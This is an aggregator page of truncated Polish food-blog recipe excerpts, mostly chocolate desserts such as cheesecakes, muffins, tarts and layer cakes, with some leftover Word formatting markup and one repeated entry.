konkretne Puszysty sernik kokosowy taki właśnie jest. Koniecznie wypróbujcie, jest szybki, prosty i pyszny.   Składniki na spód:   250 g ciastek typu digestive w gorzkiej lub mlecznej czekoladzie 80 g masła, roztopionego   Ciastka kruszymy w malakserze na drobny pył. Masło roztapiamy, dodajemy do herbatników i mieszamy do połączenia. Tortownicę o średnicy 25 cm wykładamy papierem do pieczenia, samo(...)całość. Pieczemy około 60 minut w temperaturze 170ºC. Studzimy w wyłączonym i lekko uchylonym piekarniku, następnie w chłodnym miejscu, najlepiej przez całą noc.   Dodatkowo:   200 g gorzkiej czekolady   Czekoladę rozpuszczamy nad kąpielą wodną z odrobiną mleka. Polewamy nią wystudzony sernik. The post Puszysty Sernik Kokosowy appeared first on Made

Made By Mom And Son
Kokosek z truskawkami i brzoskwiniami 395

serka mascarpone 3 łyżeczki żelatyny 3 łyżki wody MASA BRZOSKWINIOWA: 400 g brzoskwiń z puszki 250 g serka mascarpone 3 łyżeczki żelatyny 3 łyżki wody POLEWA: 30 g czekolady 1 łyżka masła Białka i cukier umieścić w misce, którą postawiłam nad garnkiem z gotującą się wodą. Powinna gotować się na małym palniku, a miska nie powinna dotykać powierzchni wody. Ubijać(...)czym połączyć z rozpuszczoną żelatyną. Schłodzone mascarpone utrzeć i połączyć z brzoskwiniami.Tężącą masą zalać truskawki, wygładzić powierzchnię i przykryć blatem kokosowym. Odstawić do całkowitego stężenia. Na końcu rozpuścić czekoladę z masłem nad kąpielą wodną i polać po wierzchu ciasta. Czekoladę przełożyłam do woreczka foliowego, odcięłam róg i wycisnęłam niteczki. Smacznego :) Wszystką żelatynę można rozpuścić razem, a później dodając

https:KKuchniaMniam
Białe brigadeiro z karobem, pyszny brazylijskie słodkości. 159

której robimy małe kuleczki i obtaczamy w kolorowych posypkach, tak jak to kiedyś pokazywałam tu   Białe brigadeiro 1 puszka mleka skondensowanego słodzonego + 2łyżki masła  2 tabliczki białej czekolady 2 łyżki masła + masło do natłuszczenia rąk kilka łyżek karobu    W kąpieli wodnej rozpuszczamy białą czekoladę. Do garnka  ( nie za wielkiego ) wlewamy mleko skondensowane + 2 łyżki(...)masła i delikatnie cały czas mieszając podgrzewamy, gdy mleko zacznie gęstnieć dodajemy rozpuszczoną białą czekoladę i cały czas mieszając podgrzewamy aż całość się połączy i zgęstnieje.  Głęboki talerz smarujemy masłem, wylewamy naszą masę, wstawiamy do lodówki do stężenia na około godzinę.  Wyjmujemy masę z lodówki. Na osobnym talerzu wysypujemy karob, łyżeczką nabieramy masę na natłuszczone masłem ręce

Kuchnia na wzgórzu
Tarta orzechowa z kremem z białej czekolady i owocami 114

cisto: - 250g mąki pszennej - 150g masła (zimnego) - 30g cukru pudru - 20ml zimnej wody - 20g mielonych orzechów - jajko Składniki na krem: - 250g serka mascarpone - 135ml śmietany 36% - 180g białej czekolady (2 tabliczki) - owoce na krem: truskawki, maliny Przygotowanie ciasta: 1. Przesiewamy mąkę i cukier puder, robimy kopczyk, kroimy zimne masło w kostkę i zagniatamy, następnie dodajemy jajko cały czas zagniatamy(...)pieczemy przez 10min, ale zdejmujemy połowę obciążenia. Po upływie czasu, zdejmujemy obciążenie z pergaminem i pieczemy przez kolejne 15min. 4. Ciasto wyciągamy i pozostawiamy do wystygnięcia. Przygotowanie kremu: 1. Czekoladę rozpuszczamy na parze wodnej. Pozostawimy do wystygnięcia. 2 . Ubijamy śmietanę na sztywno a następnie dodajmy serek mascarpone cały czas ubijając. 3. Na koniec dodajemy upłynnioną czekoladę i mieszamy łyżką

Coś z niczego
Muffinki z jabłkami i czekoladą 128

Delikatne, słodkie, pachnące cynamonem po prostu idealne. Zachęcam do ich zrobienia bo naprawdę warto :)     Muffinki z jabłkami i czekoladą Składniki: 2 szklanki mąki 3/4 szklanki cukru (można mniej, w zależności od słodkości jabłek) 1 łyżeczka proszku do pieczenia 2 jajka 1/2 łyżeczki sody 2 łyżeczki cynamonu pół szklanki oleju 1 szklanka mleka 2 szklanki jabłek pokrojonych w kosteczkę(...)ulubionej czekolady pokrojonej na drobne kawałeczki Sposób wykonania: Tak jak przy muffinkach, suche składniki wymieszać w jednym naczyniu, mokre w drugim, następnie dodać mokre do suchych i wymieszać do połączenia. Na koniec wsypać jabłka i czekoladę. Masą napełniamy foremki wysmarowane tłuszczem, lub wyłożone papilotkami albo silikonowe. Pieczemy około 25-30min. Z przepisu wychodzi około 15 muffinek. przepis pochodzi

Smaki Natalii
Rogaliki drożdżowe 108

Powidła, czekolada, jabłko.. to wszystko możecie znaleźć w pysznych, miękkich rogalikach. Zależy to tylko od Waszych upodobań. Przepis naprawdę prosty, na bardzo dużą ilość rogalików :) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style(...)kwaśnej śmietany 12-18%                   2 łyżki cukru 10dag drożdży Dodatkowo Jabłka, powidła,czekolada 2 żółtka - do posmarowania rogalików przed pieczeniem 2 białka + cukier puder- do zrobienia lukru Sposób wykonania: Drożdże rozetrzeć z cukrem. Dodać mąkę, masło, śmietanę, i jajka. Wszystko dokładnie wyrobić. Ciasto

Smaki Natalii
Tort Rafaello 126

minor-latin;}  Tort Rafaello Biszkopt 5 jaj ¾ szklanki cukru ¾ szklanki mąki pszennej ¼ szklanki mąki ziemniaczanej łyżeczka proszku do pieczenia Krem: 500 ml śmietany kremówki 36 % 200 g białej czekolady 50 g wiórków kokosowych Poncz: Pół szklanki wódki Pól szklanki przegotowanej wody Aromat waniliowy   Dodatkowo: wiórki po posypania dżem porzeczkowy Sposób wykonania:  Oddzielamy żółtka od białek. Białka ubijamy(...)Dodajemy po jednym żółtku, mąki wymieszane proszkiem do pieczenia.Wszystko dokładnie mieszamy. Przekładamy do prostokątnej formy(wysmarowanej masłem i wysypanej bułką tartą). Pieczemy około 30 min w tem 180 st. Czekoladę rozpuszczamy w kąpieli wodne. Studzimy. Śmietankę ubijamy na sztywno, pod koniec dodajemy zimną czekoladę oraz wiórki, dokładnie mieszamy. Biszkopt przekrawamy na pół. Nasączamy ponczem. Dolną cześć smarujemy cienką warstwą dżemu

Smaki Natalii
Czekoladowe muffinki z czereśniami 119

Czekolada i czereśnie - idealne połączenie. Polecam! :) Czekoladowe muffinki z czereśniami Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4            Składniki: 300 g mąki 170 ml mleka 2 łyżki kakao 1 łyżka proszku do pieczenia 150 g masła lub margaryny 100 g czekolady 1 szklanka cukru 2 jajka(...)czereśnie                 Sposób wykonania: Masło rozpuścić z czekoladą i cukrem. Lekko ostudzić. Mąkę przesiać do osobnej miski. Dodać kakao i proszek do pieczenia. Do ostudzonej masy dodać jaka i mleko.Cały czas miksując dodawać powoli suche składniki. Do natłuszczonych foremek lub papierowych papilotek nałożyć łyżkę masy

Smaki Natalii
Biszkopt z prażonymi jabłkami i czekoladą 118

Proste, szybkie i smaczne! Polecam :)   Biszkopt z prażonymi jabłkami i czekoladą Składniki Biszkopt: 5 jajek 1/2 szklanki mąki pszennej 1/2 szklanki mąki ziemniaczanej 1/2 szklanki cukru 1 łyżeczka proszku do pieczenia aromat waniliowy Dodatkowo: 1 duży słoik prażonych jabłek 1-2 jabłka cynamon garść rodzynek 1 galaretka cytrynowa 1 mleczna czekolada Sposób wykonania: Biszkopt Oddzielamy żółtka od białek. Białka(...)jabłka pokrojone w kostkę, cynamon, garść rodzynek oraz galaretkę. Mieszamy do momentu aż galaretka sie rozpuści. Gorącą masę wylewamy na spód biszkoptu i przykrywamy drugą częścią. Rozpuszczamy czekoladę- polewamy ciasto.  Wstawiamy do lodówki najlepiej na całą

Smaki Natalii
Grillowane banany z gorzką czekoladą, Ice Cream Sundae (Seinfeld) 156

deser, pewnie już znane z sieci, banany z gorzką czekoladą. Będziesz potrzebować kilka bananów i 1-2 tabliczki gorzkiej czekolady. Banany natnij wzdłuż i połóż na grillu naciętą stroną.  Grilluj z obu stron, aż będą bardzo miękkie (sprawdź np. widelcem), zdejmij z grilla, natychmiast włóż w nacięcia po 3-4 kostki czekolady i podawaj. The Lip Reader (Season

Qlinarnie i Qlinarnie
Konfitura truskawkowa z czekoladą mleczną 131

Dzisiaj będzie prawdziwy rarytas dla fanów domowych przetworów i słodyczy. Połączenie będzie idealne: truskawki i czekolada, czyli coś, co lubi prawie każdy. Jeżeli jesteście zwolennikiem dżemów to jest to pozycja obowiązkowa. Na kanapki, do naleśników, omletów na słodko, czy po prostu jako dodatek do wszelakich deserów, ciast, ciasteczek. Czyli albo samodzielny dżem, albo baza do dalszej obróbki. Jednym słowem: warto(...)mieć pod ręką. Tym bardziej, ze jest naprawdę smaczne.       1 kg truskawek cukier żelujący (dawkowanie według zaleceń producenta) sok z 1 cytryny 100 g mlecznej czekolady Lista składników krótka i przygotowanie banalne: truskawki myjemy, pozbawiamy szypułek i kroimy na mniejsze kawałki. Wkładamy do garnka razem z cukrem żelującym i gotujemy na bardzo małym ogniu do momentu

Marder&Marder Manufacture
Malinowa tarta 193

wakacyjnej radości pomyliłam ricottę z mascarpone.. 300 g mąki pszenna bądź tortowa 200 g margaryny do pieczenia 4-5 łyżeczek cukru pudru 1 żółtko tabliczka białej czekolady 250 g serka mascarpone 250 ml śmietanki kremówki 2 szklanki malin 1 szklanka borówek amerykańskich Z mąki, margaryny, cukru i żółtka zagniatamy kruche ciasto. Wkładamy je do lodówki na 30 minut(...)drzwiczkach. Gdy kruche ciasto już ostygnie myjemy owoce i wykładamy je na ręcznik papierowy aby wyschły, przy okazji oddzielając całe maliny którymi udekorujemy tartę, od tych które straciły kształt. Czekoladę rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy mikserem, potem cały czas mieszając dodajemy oddzieloną część malin, mascarpone i roztopioną czekoladę. Wykładamy na wystudzone ciasto i dekorujemy. Tarta jak się okazała należy

Pora na pora
Malinowa tarta 193

wakacyjnej radości pomyliłam ricottę z mascarpone.. 300 g mąki pszenna bądź tortowa 200 g margaryny do pieczenia 4-5 łyżeczek cukru pudru 1 żółtko tabliczka białej czekolady 250 g serka mascarpone 250 ml śmietanki kremówki 2 szklanki malin 1 szklanka borówek amerykańskich Z mąki, margaryny, cukru i żółtka zagniatamy kruche ciasto. Wkładamy je do lodówki na 30 minut(...)drzwiczkach. Gdy kruche ciasto już ostygnie myjemy owoce i wykładamy je na ręcznik papierowy aby wyschły, przy okazji oddzielając całe maliny którymi udekorujemy tartę, od tych które straciły kształt. Czekoladę rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy mikserem, potem cały czas mieszając dodajemy oddzieloną część malin, mascarpone i roztopioną czekoladę. Wykładamy na wystudzone ciasto i dekorujemy. Tarta jak się okazała należy

Pora na pora
SERNIK TIRAMISU 148

jasny: 250 g mascarpone, 150 g śmietany 36%, 2 żółtka, 3 łyżeczki żelatyny, 3 łyżki cukru pudru, Krem tiramisu: 100 g śmietany 36%, 100 g serka homogenizowanego, 100 g czekolady o smaku tiramisu, 1 czubata łyżeczka żelatyny Dodatkowo: 150 g podłużnych biszkoptów, mocna kawa do namoczenia biszkoptów, kakao do posypania WYKONANIE Przygotowujemy tortownicę o średnicy 18 cm, wykładamy folią spożywczą(...)żelatyną. Wlewamy cienką warstwę kremu, układamy wokół obręczy tortownicy podłużne biszkopty, resztę biszkoptów namaczamy w kawie i układamy na masie, zalewamy resztą kremu, odstawiamy do stężenia. Krem tiramisu: czekoladę rozpuszczamy w kąpieli wodnej, żelatynę rozpuszczamy we wrzątku. Śmietanę ubijamy, dodajemy serek i wystudzoną czekoladę oraz żelatynę. Wykładamy na jasną masę. Wstawiamy do lodówki. Przed podaniem posypujemy kakao

słodki bratek
Muffinki czekoladowe 141

Zrobienie muffinek jest bardzo proste i szybkie, więc bardzo częto goszczą w moim domu. Zresztą wszyscy bardzo je lubimy :) Te są mocno czekoladowe, więc idealne dla łasuchów zakochanych w czekoladzie :) Gorąco polecam! Składniki: 2 szklanki mąki 2 łyżeczki proszku do pieczenia 1/2 szklanki cukru 1 jajko 1/2 szklanki oleju 1 szklanka mleka 2 łyżeczki cukru waniliowego 1,5 łyżki gorzkiego(...)kakao 1/2 tabliczki gorzkiej czekolady lub czekoladowe dropsy W jednwj misce mieszamy składniki suche, a w drugiej jajko, olej i mleko. Mokre składniki dodajemy do suchych i dokładnie mieszamy. Dodajemy czekoladę pokrojoną na małe kawałeczki lub wsypujemy dropsy czekoladowe i ponownie mieszamy. Formę do muffinek wykładamy papierowymi papilotkami i wypełniamy je ciastem na wysokość około 1 cm od brzegu. Wstawiamy

kuchnia doski
Letni tort z malinami i masą mascarpone 200

gorących malin dodajemy żelatynę i mieszamy aż się rozpuści. Studzimy. Gdy masa zacznie tężeć, należy przełożyć nią tort. MASA MASCARPONE: Składniki: 1 litr śmietanki 30% 150 g białej czekolady 1 serek mascarpone Wykonanie: Czekoladę rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy do sztywno. Dodajemy mascarpone i przestudzoną białą czekoladę. ZŁOŻENIE TORTU: Wystudzony biszkopt przekroić dwa razy. Możemy lekko nasączyć

psgotujemy
Malinowa fantazja 377

stopniowo do masy miksując Dodatkowo maliny 2 galaretki malinowe Galaretki przygotować według instrukcji na opakowaniu. Dałam mniejszą ilość wody. Na dwie galaretki trzy szklanki wody. Polewa  80 g czekolady mlecznej 80 g czekolady białej Czekolady rozpuścić w kąpieli wodnej i polać wierzch ciasta. Składanie ciasta biszkopt masa jogurtowa maliny galaretka biszkopt masa śmietanowa polewa czekoladowa malinowa fantazja

O kuchni z uczuciem
Ciasteczka kokosowo - lawendowe z białą czekoladą. 149

kilka wrzucić do paru ciastek. Ja to z ciekawości je upiekłam, poszłam na żywioł i wszystkie z lawendą zrobiłam. Szczerze polecam ten przepis!   CIASTECZKA KOKOSOWO - LAWENDOWE Z BIAŁĄ CZEKOLADĄ.           Składniki na około 35 sztuk: 320 g mąki pszennej tortowej  60 g wiórków kokosowych 125 g masła 150 g cukru 1 łyżka  cukru(...)lawendowego 1 łyżeczka  esencji waniliowej 2 łyżeczki proszku do pieczenia 1 duże jajko 90 g posiekanej białej czekolady 1 płaska łyżeczka suszonych kwiatów lawendy           Sposób przyrządzania:             W dużej misce utrzeć masło, cukier, cukier lawendowy i esencję waniliową na jasną, kremową masę. Dodać jajko i wymieszać. Mąkę przesiać

Zakątek rozkoszy kulinarnych
brzdąc- ciasto z czekoladowym kremem 124

szklanki mąki 1,5 szklanki cukru 1,5 łyżeczki proszku do pieczenia 3  łyżki oleju 3 łyżki zimnej wody na krem: litr śmietanki kremówki 400 g czekolady deserowej łyżka kakao Białka ubić na sztywno. Nadal ubijając stopniowo wsypywać cukier a następnie dodawać po jednym żółtku. Kiedy masa będzie jasna i puszysta przestać miksować. Mąkę wymieszać z proszkiem do pieczenia(...)delikatnie wymieszać dużą drewnianą łyżką. Przełożyć do formy wyścielonej papierem i piec w 175*C około 40 minut. Wystudzić (najlepiej przez noc) a następnie przekroić na cztery blaty.  Czekoladę połamać i wrzucić do miseczki, rozpuścić nad parą. Kremówkę ubić na sztywno. Kilka łyżek odłożyć a resztę wymieszać z czekoladą. Masę czekoladową podzielić na trzy części, przełożyć nią blaty biszkopta

Domowa Cukierenka-Domowa Kuchnia
czekoladowa tarta z jagodami 142

Czekolada i jagody to bardzo zgrany i udany duet. Krucha tarta z mocno-czekoladowym kremem, jagodami i kwaskowatą galaretką jest po prostu świetne! Przygotowuje się ją łatwo i stosunkowo szybko (nie licząc czasu oczekiwania), równie szybko znika. Idealna na sympatyczne, towarzyskie spotkania:) składniki: ciasto: 125 g zimnego masła szczypta soli 165 g mąki pszennej 25 g mąki ziemniaczanej(...)cukru pudru 3 łyżki kakao 2 żółtka krem: 1 szkl mleka 1 szkl śmietany kremówki 1/3 szkl cukru 2 żółtka 2 łyżki mąki ziemniacznej 509 g masła tabliczka gorzkiej czekolady ponadto: jagody galaretka o smaku czarnej porzeczki Obie mąki przesiać z kakao, dodać pokrojone na kawałki masło. Posiekać, dodać pozostałe składniki, wyrobić gładkie ciasto. Odstawić na 30 minut do lodówki

6niebo
MUFFINKI Z JAGODAMI I KRUSZONKĄ 114

szkl. oleju, 1/2 szkl. mleka, 1 łyżka śmietany, 1 jajko Dodatkowo:   Kruszonka: 1 łyżka masła, 1 łyżka mąki, 1 łyżka cukru 2-3 łyżki jagód, 4 kostki czekolady gorzkiej WYKONANIE Suche składniki łączymy w 1 misce, mokre w 2 misce. Czekoladę siekamy. Suche składniki łączymy z mokrymi, dodajemy czekoladę gorzką oraz jagody. Ciasto przekładamy do foremek na muffinki. Całość

słodki bratek
Trufle w wersji fit 184

znakomite jako przekąska zaspokajająca chęć na coś słodkiego. Czas przygotowania i ilość porcji 25 minut + kilka godzin na schłodzenie, około 30 kulek. Produkty 200 g suszonych daktyli, 1 tabliczka czekolady deserowej, 100 g orzechów włoskich, 1 pomarańcza, wiórki kokosowe, kakao Przygotowanie Daktyle pokrój na małe kawałki i wrzuć do rondelka. Dodaj sok z pomarańczy wraz z miąższem. Gotuj przez około(...)następnie odstaw do ostygnięcia. Orzechy posiekaj drobno, a czekolade zetrzyj na tarce. Ugotowane daktyle zmiksuj blenderem na gładką masę, następnie dodaj orzechy (część zostaw na później do posypania), czekoladę i 4 łyżki kakao. Wszystkie produkty jeszcze raz zmiksuj. Masę odstaw do lodówki na kilka godzin. Gdy masa się schłodzi uformuj z niej małe kulki i obtocz je w wiórkach kokosowych

Fit&Fast Kitchen
Muffinki z płatków owsianych z czarną porzeczką i białą czekoladą 87

minimum tłuszczu i cukru. W roli tego ostatniego świetnie sprawdza się bardzo dojrzały banan. Babeczki są bardzo miękkie i wilgotne a kwaśne czarne porzeczki idealnie współgrają ze słodyczą białej czekolady. Kawałki płatków owsianych nadają muffinkom bardzo ciekawą strukturę.   Składniki na 12 babeczek: 190g płatków owsianych mały jogurt naturalny (190g) 1 jajko 1 bardzo dojrzały banan 1  łyżka cukru(...)szczypta soli 50g białej czekolady 1 szklanka czarnych porzeczek 1 łyżeczka sody oczyszczonej  2 łyżki oleju Płatki zalewamy jogurtem i odstawiamy do namoczenia. Po kilku minutach dodajemy do płatków banana, żółtko i blendujemy. Masa nie musi być idealnie gładka, mogą w niej zostać kawałki płatków. W osobnym naczyniu ubijamy na sztywną pianę białko z solą. Pod koniec ubijania dodajemy

Wrzosowa Polana
Czekoladki pistacjowe 137

jaglanej 1 szklanka mleka sojowego waniliowego 5 łyżeczki wiórków kokosowych 3 łyżeczki ksylitolu / cukru 1 łyżeczka oleju kokosowego ok. 13-15 łyżeczek masła pistacjowego Primavika Polewa: 1 tabliczka gorzkiej czekolady 5-6 łyżek mleka sojowego waniliowego 2 łyżeczki oleju kokosowego Przygotowanie: Kaszę jaglaną przelewamy wrzątkiem i gotujemy w szklance mleka sojowego. Do gotowania dodajemy olej kokosowy, wiórki kokosowe i ksylitol(...)pistacje, jeżeli ktoś nie ma masła). Wszystko blendujemy na gładką masę i mokrymi rękami formujemy niewielkie kuleczki i lekko je spłaszczamy. Wstawiamy do lodówki na ok. 1 h. Roztapiamy czekoladę z mlekiem i olejem kokosowym. Schłodzone kuleczki maczamy w czekoladzie i układamy na papierze do pieczenia. Wstawiamy do lodówki. Gotowe! Smacznego! Maugo&Paszko

Bananowe Pole
Jagodzianki, orkiszowe, zawijane, z bialą czekoladą czyli Niedzielne Śniadanie odc.86 133

film... W sobotę byliśmy w kinie na "BFG". Ciekawy film choć nie za bardzo dla małych dzieci, trochę straszny, chwilami irytujący, dzieciaki były zachwycone :) Jagodzianki, orkiszowe, zawijane, z białą czekolada ciasto: 10 g świeżych drożdży 220 ml ciepłego mleka 2 jajka, lekko rozbełtane 60 g cukru trzcinowego 150 g maki orkiszowej pełnoziarnistej 370 g mąki orkiszowej jasnej 60 g masła(...)rozpuszczonego nadzienie: 250 g jagód 40 g cukru trzcinowego łyżka maki ziemniaczanej polewa: tabliczka białej czekolady łyżka śmietanki kremówki łyżeczka soku z cytryny Do dużej miski wkładamy drożdże, zalewamy mlekiem i mieszamy z 10 g cukru. Odstawiamy by drożdże ruszyły. Do miski wlewamy jajka, wsypujemy cukier i mąki. Zagniatamy ciasto. Gdy składniki są prawie połączone wlewamy masło i zagniatamy

Dzieje kuchennej Wiewióry
ORZECHOWO-KAWOWY CZEREŚNIOWIEC 225

kakao, 3 łyżki zsiadłego mleka, 1 łyżeczka proszku do pieczenia Poncz: ½ szkl. mocnej kawy, 3 łyżki spirytusu, 1 łyżka cukru Masa kawowa: 200 ml śmietany 30%, 1 tabliczka białej czekolady, 200 g serka naturalnego, 2 łyżeczki żelatyny, 3 łyżeczki mocnej kawy rozpuszczalnej, 2 łyżki cukru pudru Dodatkowo: czereśnie, galaretka wiśniowa WYKONANIE Ciasto: Jajka ubijamy trzepaczką z cukrem, dodajemy zmielone orzechy(...)Pieczemy ok. 15 min w 180 stopniach. Po wystudzeniu ciasto nasączamy ponczem.   Masa kawowa: Kawę zalewamy 1/2 szkl. wrzątku, rozpuszczamy w niej żelatynę i pozostawiamy do ostudzenia. Białą czekoladę rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy z cukrem, dodajemy wystudzoną czekoladę, następnie serek oraz wystudzoną kawę z żelatyną. Mieszamy do połączenia składników. Całość wylewamy na ciasto i odstawiamy do stężenia

słodki bratek
Muffiny z jagodami 126

Kiedy zobaczyłam na straganie jagody, od razu zachciało mi się muffinek z jagodami :) Dziś zaprezentuję przepis na mięciutkie, jagodowe muffinki z dodatkiem aromatycznej skórki pomarańczowej, oblane polewą z białej czekolady.  Składniki na muffiny (12 szt.): 250 g jagód 100 g roztopionego masła 125 ml mleka 2 jajka skórka starta z 1/2 pomarańczy 250 g mąki pszennej 2 łyżeczki proszku(...)pieczenia 170 g cukru Polewa: 100 g białej czekolady 2 łyżki mleka 2 łyżki jogurtu Dekoracja: 3-4 łyżki jagód Piekarnik nagrzać do temperatury 180°C. Przygotować formę na muffinki. Do środka włożyć 12 papilotek. Jagody opłukać i osuszyć. Do jednej miski wlać roztopione masło, dodać mleko. Wymieszać. Następnie dodać jajka, skórkę z pomarańczy i znów wymieszać. Do drugiej miski

Świat Ciasta
Chili con carne 224

chili. Składa się z mielonego mięsa, cebuli, pomidorów i fasoli, ale każdy może dorzucić coś co lubi np.: paprykę, kukurydzę czy seler naciowy. Ja dodaję jeszcze dwie kostki gorzkiej czekolady dla wzbogacenia smaku. Składniki (4 osoby): 0,5 kg mięsa mielonego wołowego lub wieprzowego 2 cebule 2 ząbki czosnku 1 papryka 1 marchewka 1 puszka (400 g) czerwonej fasoli(...)puszka krojonych pomidorów 1 łyżka octu balsamicznego 2 kostki gorzkiej czekolady 1 świeża papryczka chilli papryka słodka, papryka wędzona, cynamon, kolendra, pieprz, sól Rozgrzać dużą patelnie o wysokich brzegach i wrzucić mięso, rozdrobnić, żeby nie było grudek i smażyć. Gdy mięso będzie gotowe dodać pokrojoną w drobną kostkę cebulę, startą na tarce marchewkę, przeciśnięty przez praskę czosnek oraz przyprawy - chili

Dobra karma
CZEKOLADOWE MUFFINY Z DOMOWĄ NUTELLĄ, BEZ DODATKU CUKRU 176

wiem co takiego ma w sobie czekolada (bo, że ma to widzę), że ma tylu wielbicieli, zarówno wśród tych małych, starszych jak i najstarszych. Moja rodzinka również zalicza się do wielbicieli czekoladowych słodkości. Tym razem przygotowałam im czekoladowe muffiny z nutellą, ale w zdrowszej wersji. Kupną nutellę zamieniłam na moją własną domową, którą wykombinowałam z gorzkiej czekolady z ksylitolem(...)cukru) - 1/2 szklanki oleju kokosowego lub zwykłego - 1/2 szklanki naturalnego kakao - 1/2 szklanki gorącej wody - 2 średnie jajka - 1 łyżeczka ekstraktu waniliowego - 1 szklanka jogurtu naturalnego Domowa nutella: - 50g czekolady (u mnie słodzona ksylitolem) - 50g masy orzechowej (u mnie z orzechów laskowych) - 2 łyżeczki mielonego ksylitolu (lub dowolnie) Wszystkie składniki nutelli rozpuścić w kąpieli wodnej, odstawić. Kakao mieszamy z gorącą

Smaczne Zdrowe
Ciasto z maślanką i jagodami 212

misce mieszamy składniki suche, w drugiej mokre i potem łączymy, mieszamy łyżką i wylewamy na blaszkę. Do tego owoce i kruszonka , no i pieczemy :). Ja ciasto zrobiłam bez białej czekolady (tą wersję wykorzystam przy najbliższej okazji), jak by ktoś chciał wersję z białą czekoladą, to trzeba zmniejszyć ilość cukru, ja dałam niepełna szklankę i ciasto było słodkie(...)dodała jeszcze startą czekoladę to już byłoby przesłodkie. Inspiracja: klik Składniki ciasto blaszka 24x34 cm: 2,5 szklanki mąki pszennej 1 szklanka maślanki 1 szklanka cukru trzcinowego 0,5 szklanki oleju rzepakowego 3 jajka 3 płaskie łyżeczki proszku do pieczenia 2 laski wanilii jagody Kruszonka: 3 łyżki mąki 2 łyżki cukru 30 g masła Wanilię przecinamy i wyjmujemy z niej

kruche babeczki
SERNIKOBROWNIE Z MUSEM RABARBAROWYM 153

rabarbarowego i podawać do upieczonego sernika.  Jeśli użyjecie większej blaszki odpowiednio zredukujcie czas pieczenia. SKŁADNIKI na blaszkę o wymiarach 17x24 cm BROWNIE 200 g masła 200 g gorzkiej czekolady 200 g cukru 3 jajka  130 g mąki pszennej  szczypta soli SERNIK wszystkie składniki powinny mieć temp. pokojową 500 g twarogu zmielonego trzykrotnie  250 g mascarpone(...)natłuszczamy i wykładamy papierem do pieczenia. Masło kroimy na kawałki, wkładamy do rondelka i rozpuszczamy na małym ogniu mieszając od czasu do czasu. Zdejmujemy z ognie, dodajemy połamaną czekoladę i mieszamy do otrzymania jednolitej masy. W oddzielnej misce miksujemy jajka z cukrem - nie ubijamy. Dodajemy roztopioną czekoladę z masłem i miksujemy do połączenia składników. Dodajemy przesianą mąkę i sól. Miksujemy

cool and minty
CIASTO Z DYNIĄ, ORZECHAMI I CZEKOLADĄ 171

Smaczne ciasto, idealnie wpasowujące się w jesienną porę roku. Wilgotne dzięki dyni lub jabłkom i długo zachowujące świeżość. Z dużą ilością orzechów, migdałów i gorzkiej czekolady. Opcjonalnie także z dodatkiem posiekanych suszonych owoców np. daktyli, moreli, śliwek, rodzynek.  Wierzch ciasta wykończyłam warstwą powideł śliwkowych i Nutelli oraz kremem z serka mascarpone i domowego sosu toffee. Całość posypałam pestkami granatu(...)łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 1 szklanka grubo posiekanych orzechów włoskich 1/2 szklanki grubo posiekanych migdałów 1 szklanka bakalii / daktyli, moreli, śliwek 100 g gorzkiej czekolady / pokrojonej w kostkę 1 szklanka drobnego cukru do wypieków 1/2 szklanki roztopionego masła lub oleju WIERZCH 3 łyżki Nutelli + 3 łyżki powideł śliwkowych 250 g mascarpone + 3 łyżki

cool and minty
PIERNIK Z MARCHEWKĄ, ORZECHAMI PEKAN i MASĄ MARCEPANOWO-ŚLIWKOWĄ 143

oraz miodu. Bogate w orzechy i kandyzowaną skórkę pomarańczową. Przełożone masą z nasączonych w likierze  suszonych śliwek i marcepanu. Wykończyłam je  aksamitnym i delikatnym ganachem z gorzkiej czekolady, słodkiej śmietanki oraz odrobiny masła. Można wykonać je w ostatniej chwili lub upiec 4-5 dni przed świętami i do czasu podania przechowywać w chłodnym miejscu pod przykryciem. Można także(...)MASA MARCEPANOWO ŚLIWKOWA 10 suszonych śliwek kalifornijskich pokrojonych w kosteczkę 100 g masy marcepanowej 6-8 łyżek likieru amaretto i/lub brandy / soku z pomarańczy / wody GANACHE 100 g gorzkiej czekolady 80 ml śmietanki 30% 10 g masła WYKONANIE PIERNIK: Piekarnik rozgrzewamy do 175℃, z włączoną funkcją grzanie góra/dół bez termoobiegu. Formę keksową o wymiarach

cool and minty
CZEKOLADOWO-TRUSKAWKOWY SERNIK NA ZIMNO 222

zimno z truskawkami, więc trzeba się śpieszyć ;) smakuje nieziemsko, zapraszam do próbowania SKŁADNIKI Spód: 150 g kruchych ciastek, 70 g masła, 3 łyżki wiórek kokosowych Masa czekoladowa: 1 gorzka czekolada, 3 łyżki cukru pudru, 150 ml śmietany 30%, 500 ml sera z wiaderka, 4 łyżeczki żelatyny, 1/3 szkl. wrzątku Masa truskawkowa: 3 łyżki cukru pudru, 150 ml śmietany(...)Spód: masło rozpuszczamy, ciastka kruszymy za pomocą blendera. Masło łączymy z ciastkami i wiórkami kokosowymi. Tak powstałą masą wykładamy formę o wymiarach 20x28 cm, wyłożoną folią aluminiową. Masa czekoladowa: czekoladę rozpuszczamy w kąpieli wodnej. Żelatynę rozpuszczamy we wrzątku, studzimy. Śmietankę ubijamy na sztywno, dodajemy cukier, następnie serek i wystudzoną czekoladę. Na końcu dodajemy żelatynę, mieszamy wylewamy na ciastka. Wkładamy

słodki bratek
Mini torcik czekoladowy 165

łyżki mąki 0,5 łyżeczki proszku do pieczenia 2 łyżeczki oleju kilka kropli barwnika czerwonego Krem czekoladowy : 1 budyń czekoladowy masło - 70 g mleko - 370 ml cukier - 2 łyżeczki czekolada deserowa -35 g Poncz : 2 łyżki wody gotowanej 1 łyżeczka soku z cytryny cukier - 1 łyżeczka Dodatkowo do dekoracji : srebrne perełki cukrowe wiórki czekoladowe białe listki melisy posypka czerwona cukrowa(...)placki. Krem czekoladowy : Do rondla wlać szklankę mleka, osłodzić, doprowadzić do zagotowania. W pozostałym mleku rozrobić budyń, wlać na gotujące się mleko. Mieszając doprowadzić do zagotowania i zgęstnienia. Czekoladę rozpuścić w kąpieli wodnej, ostudzić. Masło przełożyć do miski, zmiksować. Następnie do masła, dodawać po 1 łyżce zimnego budyniu, dalej miksować. Na samym końcu wlać roztopioną czekoladę, dokładnie wymieszać. Pierwszy blat

Kuchnia Danusi
